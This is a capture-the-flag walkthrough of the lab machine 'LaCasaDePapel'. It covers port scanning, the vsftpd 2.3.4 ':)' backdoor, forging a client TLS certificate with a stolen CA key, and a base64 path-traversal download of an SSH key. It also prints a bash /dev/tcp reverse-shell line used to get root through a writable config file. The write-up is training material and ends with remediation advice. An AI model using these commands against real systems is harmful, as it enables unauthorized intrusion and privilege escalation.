Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.131 All
All: Runs all the scans consecutively.
We get back the following result.
Running all scans on 10.10.10.131Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:07 ESTWarning: 10.10.10.131 giving up on port because retransmission cap hit (1).Nmap scan report for 10.10.10.131Host is up (0.039s latency).Not shown: 907 closed ports, 89 filtered portsSome closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http443/tcp open httpsNmap done: 1 IP address (1 host up) scanned in 3.10 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:07 ESTNmap scan report for 10.10.10.131Host is up (0.40s latency).PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 2.3.422/tcp open ssh OpenSSH 7.9 (protocol 2.0)| ssh-hostkey:| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)80/tcp open http Node.js Express framework|_http-title: La Casa De Papel443/tcp open ssl/http Node.js Express framework| http-auth:| HTTP/1.1 401 Unauthorized\x0D|_ Server returned status 401 but no WWW-Authenticate header.|_http-title: La Casa De Papel| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel| Not valid before: 2019-01-27T08:35:30|_Not valid after: 2029-01-24T08:35:30|_ssl-date: TLS randomness does not represent time| tls-alpn:|_ http/1.1| tls-nextprotoneg:| http/1.1|_ http/1.0Service Info: OS: UnixService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 36.35 secondsOS Detection modified to: Unix----------------------Starting Nmap UDP Scan----------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:07 ESTWarning: 10.10.10.131 giving up on port because retransmission cap hit (1).Nmap scan report for 10.10.10.131Host is up (0.23s latency).All 1000 scanned ports on 10.10.10.131 are closed (656) or open|filtered (344)Nmap done: 1 IP address (1 host up) scanned in 703.42 seconds---------------------Starting Nmap Full Scan----------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:19 ESTInitiating Parallel DNS resolution of 1 host. at 20:19Completed Parallel DNS resolution of 1 host. at 20:19, 0.03s elapsedInitiating SYN Stealth Scan at 20:19Scanning 10.10.10.131 [65535 ports]Discovered open port 443/tcp on 10.10.10.131Discovered open port 22/tcp on 10.10.10.131Discovered open port 80/tcp on 10.10.10.131Discovered open port 21/tcp on 10.10.10.131Warning: 10.10.10.131 giving up on port because retransmission cap hit (1).SYN Stealth Scan Timing: About 19.34% done; ETC: 20:22 (0:02:09 remaining)SYN Stealth Scan Timing: About 39.16% done; ETC: 20:22 (0:01:35 remaining)SYN Stealth Scan Timing: About 58.97% done; ETC: 20:22 (0:01:03 remaining)SYN Stealth Scan Timing: About 78.28% done; ETC: 20:22 (0:00:34 remaining)Completed SYN Stealth Scan at 20:22, 180.10s elapsed (65535 total ports)Nmap scan report for 10.10.10.131Host is up (0.036s latency).Not shown: 63128 closed ports, 2403 filtered portsPORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http443/tcp open httpsRead data files from: /usr/bin/../share/nmapNmap done: 1 IP address (1 host up) scanned in 180.23 secondsRaw packets sent: 89267 (3.928MB) | Rcvd: 79771 (3.191MB)No new ports---------------------Starting Nmap Vulns Scan---------------------Running CVE scan on basic portsStarting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:22 ESTNmap scan report for 10.10.10.131Host is up (0.17s latency).PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 2.3.422/tcp open ssh OpenSSH 7.9 (protocol 2.0)80/tcp open http Node.js (Express middleware)443/tcp open ssl/http Node.js Express frameworkService Info: OS: UnixService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 22.49 secondsRunning Vuln scan on basic portsStarting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 20:23 ESTNmap scan report for 10.10.10.131Host is up (0.41s latency).PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 2.3.4|_clamav-exec: ERROR: Script execution failed (use -d to debug)|_sslv2-drown:22/tcp open ssh OpenSSH 7.9 (protocol 2.0)|_clamav-exec: ERROR: Script execution failed (use -d to debug)| vulners:| cpe:/a:openbsd:openssh:7.9:|_ CVE-2019-16905 4.4 https://vulners.com/cve/CVE-2019-1690580/tcp open http Node.js (Express middleware)|.....443/tcp open ssl/http Node.js Express framework|_clamav-exec: ERROR: Script execution failed (use -d to debug)|.....Service Info: OS: UnixService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 196.80 seconds....
We have four ports open.
Port 21: running vsftpd 2.3.4
Port 22: running OpenSSH 7.9
Port 80: running Node.js over HTTP
Port 443: running Node.js over HTTPS
Before we move on to enumeration, let’s make some mental notes about the scan results.
The vsftpd version running is associated with a backdoor command execution vulnerability. Although I’m pretty sure that the nmap vuln scan does test for this CVE, from past experience it almost always reports it as a false negative. Therefore, I always check for this vulnerability manually.
The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
Port 80 & 443 are running the Node.js Express framework. Port 80 returns a 200 status code whereas port 443 returns a 401 status code. Since they’re returning different codes, we’ll have to enumerate both of them.
The nmap scan leaks the domain name lacasadepapel.htb. We’ll have to add that to our /etc/hosts file.
I terminated the nikto and gobuster scans because they were taking too long to run and weren’t generating any useful results. For this box, the enumeration will be a little bit more manual.
Add the domain name to the /etc/hosts file.
I always start off with enumerating HTTP.
Port 80 HTTP
Visit the web application.
View the page source. We don’t get anything useful. Next, play around with the E-MAIL and ONE PASSWORD field. There doesn’t seem to be anything unusual there, so let’s move on to the next port.
Port 443 HTTPS
Visit the web application.
We get a certificate error informing us that we need to provide a client certificate before we can view any other content. Interesting. This is the first time I encounter an HTB machine that is using mutual TLS authentication.
If you don’t know what that is, here is a quick run down. Every time you use a web browser to connect to an HTTPS site, you’re using a cryptographic protocol known as Transport Layer Security (TLS) or it’s predecessor SSL. SSL/TLS guarantees that all communication between your web browser and the server you’re connecting to is encrypted, thereby preventing an attacker from reading or modifying the communication. This is done through the use of SSL certificates which are installed on the server. When your browser connects to a server, the server sends its certificate to the browser, the browser checks the validity of the certificate and if all is good, a secure session is established between the two parties.
In the above scenario (which is the default functionality), the server proves its identity to the client (browser). It is possible to add additional security by also enabling client-to-server authentication, where the client also needs to prove its identity to the server. In order to do that, the client has to provide the server with a certificate.
How does this work? Here’s a good article that explains it. The bottom line is if we get hold of the Certificate Authority’s (CA) private key, we can generate a client side certificate and authenticate to the server. We’ll keep that in mind while enumerating the host.
Next, let’s view the page source to see if it leaks any information. We don’t get anything useful. Similarly, the certificate used by the site doesn’t leak any sensitive information.
Let’s move on to the next port.
Port 21 VSFTPD
A quick google search shows us that this version of vsftpd is famously vulnerable to a backdoor command execution that is triggered by entering a string that contains the characters “:)” as the username. When the backdoor is triggered, the target machine opens a shell on port 6200.
This exploit is simple enough to exploit manually.
[email protected]:~# ftp 10.10.10.131Connected to 10.10.10.131.220 (vsFTPd 2.3.4)Name (10.10.10.131:root): random:)331 Please specify the password.Password:^C421 Service not available, remote server has closed connection
This should have triggered the backdoor. Run a quick nmap scan to see if port 6200 opened up.
[email protected]:~# nmap -p 6200 10.10.10.131Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-21 19:48 ESTNmap scan report for lacasadepapel.htb (10.10.10.131)Host is up (0.073s latency).PORT STATE SERVICE6200/tcp open lm-xNmap done: 1 IP address (1 host up) scanned in 0.56 seconds
Perfect! Connect to the port using netcat.
[email protected]:~# nc 10.10.10.131 6200Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
We’re in! It’s a psy shell, which is a PHP shell.
Run the “?” command to see which commands we’re allowed to run.
Let’s run the ls command.
There’s a set variable $tokyo. Let’s view it using the show command.
We get the path to the Certificate Authority (CA) key! Let’s dump the content of the file.
Before we use the key to generate a client side cert, let’s see what other information we can gather from this shell.
file_get_contents('/etc/passwd');=> """root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/bin/sh\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\npostgres:x:70:70::/var/lib/postgresql:/bin/sh\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nchrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin\ndali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh\nberlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash\nprofessor:x:1002:1002:professor,,,:/home/professor:/bin/ash\nvsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologin\nmemcached:x:102:102:memcached:/home/memcached:/sbin/nologin\n"""
The only user’s that have shells are professor, berlin, dali, postgres, operator and root. We can safely deduce that we’re running as dali since this is the only user that is assigned the /usr/bin/psysh shell.
Let’s see what’s in the home directory using the scandir() function.
scandir('/home')=> [".","..","berlin","dali","nairobi","oslo","professor",]scandir('/home/berlin')=> [".","..",".ash_history",".ssh","downloads","node_modules","server.js","user.txt",]file_get_contents('/home/berlin/user.txt')PHP Warning: file_get_contents(/home/berlin/user.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1file_get_contents('/home/berlin/.ssh')PHP Warning: file_get_contents(/home/berlin/.ssh): failed to open stream: Permission denied in phar://eval()'d code on line 1
The user.txt flag is in berlin’s directory. So we need to figure out a way to own that user.
Let’s go back to the ca.key we found. A quick google search on “generate client side ssl certificate” gives you this result. We already have a certificate authority, so all we need to do is follow the Generate a client SSL certificate section of the article.
First, let’s download the server side certificate from the browser. Click on the Lock icon > Show Connect Details > More Information > View Certificate > Details > Export.
[email protected]:~/Desktop/htb/lacasadepapel/certs# lsca.key lacasadepapel_htb.crt
So now we have the certificate authority key (ca.key) and the certificate that the server is using. Let’s confirm that the CA key we have was used to sign the server certificate. This can be done by verifying that the public key of ca.key is the same as the public key of server certificate.
[email protected]:~/Desktop/htb/lacasadepapel/certs# openssl pkey -in ca.key -pubout | md5sum71e2b2ca7b610c24d132e3e4c06daf0c [email protected]:~/Desktop/htb/lacasadepapel/certs# openssl x509 -in lacasadepapel_htb.crt -pubkey -noout | md5sum71e2b2ca7b610c24d132e3e4c06daf0c -
Now let’s generate the client certificate.
First, generate a private key for the SSL client.
openssl genrsa -out client.key 4096
Use the client’s private key to generate a cert request.
openssl req -new -key client.key -out client.req
You’ll be prompted to enter the following information.
You are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.-----Country Name (2 letter code) [AU]:blState or Province Name (full name) [Some-State]:blaLocality Name (eg, city) :blaOrganization Name (eg, company) [Internet Widgits Pty Ltd]:bla.comOrganizational Unit Name (eg, section) :blaCommon Name (e.g. server FQDN or YOUR name) :bla.coEmail Address :[email protected] enter the following 'extra' attributesto be sent with your certificate requestA challenge password :An optional company name :
Issue the client certificate using the cert request and the CA cert/key.
openssl x509 -req -in client.req -CA lacasadepapel_htb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
Convert the client certificate and private key to pkcs#12 format for use by browsers.
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
You’ll be prompted for an export password. This is optional when importing into the browser, however, it’s mandatory in Burp to provide a password, therefore, let’s set the password as “password”.
Now we need to import the client certificate into our browser. To do that click on the hamburger icon > Preferences > search for Certificates >View Certificates > Your Certificates > Import.
In the above Certificate Manager window, click on the Authorities tab and find the La Casa De Papel certificate authority.
Click on Edit Trust and select the option This certificate can identify websites. Then restart the browser and visit the page again. Now you’ll be prompted with a User Identification Request.
Click OK and we’re in!
Click on SEASON-1.
It uses a path parameter. Let’s see if it is vulnerable to LFI.
It definitely is. However, when we try to view the user.txt file, we get an error.
Let’s go back to the SEASON-1 path. If we click on 01.avi, we get prompted with a file download.
View the source code on the download link.
Notice that the href attribute for 01.avi and 02.avi are very similar with only one character difference. Considering that the names of the files are also only slightly different, this leads me to believe that the file download link is dependant on the file name. It looks like base64 encoding, so let’s try decoding them.
[email protected]:~/Desktop/htb/lacasadepapel# echo "U0VBU090LTEvMDEuYXZp" | base64 --decodeSEASOt-1/[email protected]:~/Desktop/htb/lacasadepapel# echo "U0VBU090LTEvMDIuYXZp" | base64 --decodeSEASOt-1/02.avi
It’s simply base64 encoding the path to the file. Now that we know how the backend allows file downloads, let’s try to download the user.txt file.
[email protected]:~/Desktop/htb/lacasadepapel/certs# echo -n "../user.txt" | base64Li4vdXNlci50eHQ=
Open Burp and click on User Options > SSL > Client SSL Certificates > Add. In the Destination host field, add lacasadepapel.com and select the File (PKCS#12) option. Click Next and import the client cert. Now, we can intercept requests using Burp.
Intercept the 01.avi file download request in Burp and change the base64 value to the one we generated for user.txt.
Forward the request. This prompts a download for the user.txt file! Save the file and grab the user.txt flag.
We also noticed that there is a .ssh directory that contains an ssh key.
In the same way we downloaded user.txt, we download the id_rsa file.
Change the permissions on the id_rsa file.
chmod 600 id_rsa
Try to login into Berlin’s account.
[email protected]'s password:Permission denied, please try again.[email protected]'s password:
It doesn’t work. Let’s try other accounts.
ssh -i id_rsa [email protected]
We’re in! Now we need to escalate privileges.
In the attack machine, start up a server in the same directory that the script resides in.
python -m SimpleHTTPServer 5555
In the target machine, change to the /tmp directory where we have write privileges and download the LinEnum script.
cd /tmpwget http://10.10.14.12:5555/LinEnum.sh
Give it execute privileges.
chmod +x LinEnum.sh
Run the script.
We don’t get anything useful. Next, let’s try pspy64.
2020/01/24 02:09:33 CMD: UID=65534 PID=4930 | /usr/bin/node /home/professor/memcached.js
It’s running this script every one minute. View permissions on the file.
lacasadepapel [/tmp]$ ls -la /home/professor/total 24drwxr-sr-x 4 professo professo 4096 Mar 6 2019 .drwxr-xr-x 7 root root 4096 Feb 16 2019 ..lrwxrwxrwx 1 root professo 9 Nov 6 2018 .ash_history -> /dev/nulldrwx------ 2 professo professo 4096 Jan 31 2019 .ssh-rw-r--r-- 1 root root 88 Jan 29 2019 memcached.ini-rw-r----- 1 root nobody 434 Jan 29 2019 memcached.jsdrwxr-sr-x 9 root professo 4096 Jan 29 2019 node_modules
We don’t have read, write or execute privileges on the memcached.js file. However, notice that we have read access on the memcached.ini file. Let’s view the content of the file.
lacasadepapel [~]$ cat memcached.ini[program:memcached]command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
It seems to be a configuration file that is running the sudo command on the memcached.js file. Chances are it is running as root since only root has read/write access on it.
We can’t write to the file, however, we can overwrite it since we own the directory. First, copy the content of the file into a test file.
cp memcached.ini test.ini
Then edit the test.ini file to send a reverse shell back to our attack machine.
[program:memcached]command = bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
Change the name of the file to memcached.ini.
mv test.ini memcached.ini
Now set up a listener on the attack machine and wait for the command to execute.
[email protected]:~# nc -nlvp 1234listening on [any] 1234 ...connect to [10.10.14.12] from (UNKNOWN) [10.10.10.131] 55244bash: cannot set terminal process group (9460): Not a ttybash: no job control in this shellbash-4.4# whoamiwhoamiroot
We are root! Grab the root.txt flag.
To gain an initial foothold on the box we exploited one vulnerability.
FTP backdoor command execution. The FTP version used is famously known for its backdoor vulnerability. This allowed us to gain initial access on the machine. This could have been avoided if the administrator had patched the system and installed the most recent version of vsftpd.
To escalate privileges we exploited three vulnerabilities.
Loose permissions and insecure storage of Certificate Authority (CA) key. Once we had initial access on the machine we were able to download the CA key. This in turn allowed us to create a client side certificate and authenticate to the server. The administrator should have secured the CA key by restricting access to it and encrypting it.
Local File Inclusion (LFI) vulnerability that allowed us to view files on the host. Using this vulnerability, we were able to find and view the SSH private key of the professor user. This could have been easily avoided if the developer properly validated user input.
Security misconfiguration of a scheduled task. The task was being run with root privileges using a file that is in a directory owned by a non-privileged user. Since the non-privileged user owned the directory, we were able to simply overwrite the file with a malicious one that contained a reverse shell.